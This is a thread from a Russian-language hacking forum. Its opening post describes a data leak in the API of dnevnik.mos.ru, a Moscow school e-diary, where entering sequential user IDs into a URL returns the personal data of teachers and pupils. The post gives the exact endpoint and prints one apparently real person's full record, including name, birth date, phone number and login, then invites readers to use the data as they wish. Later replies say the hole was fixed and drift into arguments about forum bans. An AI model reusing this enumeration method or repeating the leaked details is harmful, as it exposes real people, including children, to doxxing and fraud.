Дыра на сайте dnevnik.mos.ru

[Peredoz]

Тема не моя.
[hide=5]
Переходим по ссылке - https://dnevnik.mos.ru/lms/api/users/****** (вместо ****** нужно вставить 7 рандомных цифр], например https://dnevnik.mos.ru/lms/api/users/1111111 , если id меньше, то, соответственно, ставите меньше чисел. Например https://dnevnik.mos.ru/lms/api/users/5123

Но мы возьмём как пример https://dnevnik.mos.ru/lms/api/users/1 .
После перехода на эту страницу мы получаем фио, возраст, почту, школу, телефон данного персонажа. Могут быть как учителя, так и школьники.

Спойлер: скрин

То ли с кодировкой что-то не так, то ли что. В общем Ctrl+S (сохраняете страницу) и открывайте, как пример, 1.html в блокноте.

Спойлер: полученная инфа

{"id":1,"email":"[email protected]","sex":"male","password":null,"locked":false,"temporaryLocked":false,"fullCount":0,"sessionsCount":0,"updatedAt":null,"profiles":[{"id":494869,"type":"author","roles":[],"user_id":1,"school_id":1,"school_shortname":"ГБОУ Лицей № 507"},{"id":2,"type":"teacher","roles":["principal","teacher","deputy"],"user_id":1,"school_id":1,"school_shortname":"ГБОУ Лицей № 507"}],"captcha":null,"hidden":false,"gusoev_login":"zhdanovvn507","first_name":"Владимир","last_name":"Жданов","middle_name":"Николаевич","date_of_birth":"1959-02-12","phone_number":"79168445411","mrko_user_id":2714908,"sms_notify_message":null,"email_notify_message":null,"ekis_key":null,"change_password_required":null,"snils":null,"guid":null,"is_hidden":false,"locked_by_user_id":0,"lock_datetime":null,"last_sign_in_at":"2017-04-11 12:39:24"}

[/hide]Что делать с этой инфой решать только вам. :-)

 

[cyberdaun]

 

[Devil's Advocate]

копипаст

 

[Cloudo]

Уже пофиксили (((

 

[norman]

видел на многих пабах

 

[˜”*°•VeteR•°*”˜]

3

А у нас что автобан не работает? Ну ка съебнул отсюда!

 

[Дима22]

Щас бы сообщения накручивать!
Где админы, куратор?
@Night
@Vanessa

 

[Эскобар]

Автобан работает. Только не так как ты думаешь.
После того как пользователь получает 3 балла предупреждений, он уходит в автобан.
Баллы выдает команда форума.
Пишу это именно для тебя, тебе это полезно будет.

 

[Эскобар]

Щас бы сообщения накручивать!
Где админы, куратор?
@Night
@Vanessa

Кураторов никаких нет, и адмнов звать по таким причинам так же не нужно.
Вы не волнуйтесь, мы всё видим, много не накрутит никто.

 

[˜”*°•VeteR•°*”˜]

Автобан работает. Только не так как ты думаешь.
После того как пользователь получает 3 балла предупреждений, он уходит в автобан.
Баллы выдает команда форума.
Пишу это именно для тебя, тебе это полезно будет.

Примного Вам благодарен! Нам долбаебам вообще не сразу доходит.